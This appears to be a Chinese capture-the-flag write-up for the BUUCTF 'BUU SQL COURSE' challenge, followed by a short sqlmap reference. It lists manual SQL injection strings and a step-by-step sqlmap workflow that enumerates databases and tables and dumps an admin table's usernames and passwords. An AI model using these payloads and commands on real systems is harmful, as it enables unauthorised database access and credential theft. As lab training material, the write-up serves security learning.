前言
继续肝
一、BUU SQL COURSE
看标题大概率考的是SQL注入
直奔注入点
先简单的注入尝试一下
' OR '1'='1
admin' --
admin' OR '1'='1' --
' UNION SELECT 1,2,3 --
我淦咋都不行,直接上工具sqlmap启动
打开控制台
找到URL
sqlmap -u "目标URL" --data "username=你表单数据提交的admin&password=你表单数据提交的password"
6…用sqlmap检测到POST参数username和password都不是动态的,好一个声东击西emmmm
再次对页面进行分析
既然注入点不在登陆里,那么大概率在热点里
进入检查找一找
我淦老六,藏这了…
秉承着能自动不手动的原则
sqlmap -u "目标URL" --batch
成功检测到URL并且id参数被检测为动态
继续分析
检测到 id 参数存在SQL注入,并确认可以通过布尔盲注(Boolean-based blind)进行注入。
发现 id 参数还可以通过基于时间的盲注(Time-based blind)和通用联合查询(UNION query)进行注入。
以上这些就是检测到的注入点
下面咱们看看他后台都有哪些数据库
sqlmap -u "目标URL" --dbs
有6个库
默认系统库除外news,test,ctftraining具体在哪个呢咱们一个一个试试,先试试news吧
sqlmap -u "目标URL" -D news --tables
找到的俩表,这个admin很有可能是
接下来看看表里的所有列
sqlmap -u "目标URL" -D news -T admin --columns
欧呦,找到了
接下来提取一下这个表里的数据
sqlmap -u "目标URL" -D news -T admin --columns -C username,password --dump
找到账号和密码喽
登陆试一下
小小flag,拿下!
二、知识点
sqlmap
sqlmap 是一个强大的自动化SQL注入工具,常用于渗透测试和安全审计。
基本用法:
这个基本命令用于检测和利用目标URL的SQL注入漏洞
sqlmap -u "目标URL"
指定HTTP方法
默认情况下,sqlmap 使用GET请求。你可以使用 --data 选项指定POST请求数据
sqlmap -u "http://example.com/login.php" --data "username=admin&password=admin"
指定参数
如果只想测试特定的参数,可以使用 -p 选项:
sqlmap -u "http://example.com/page.php?id=1&name=admin" -p id
列出数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
列出表
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
列出列
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns
提取数据
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump
解题感悟
服了这道题真的老六,声东击西是给这出题者玩明白了。言归正传这道题考的是mysql注入和sqlmap工具的使用,整体难度偏低但是有陷阱,可以手动操作也可以用sqlmap自动扫,正常情况下可以先手动简单尝试注入,如果不行的话就直接上sqlmap,分析是否为动态是否有注入点。sqlmap在手,flag我有~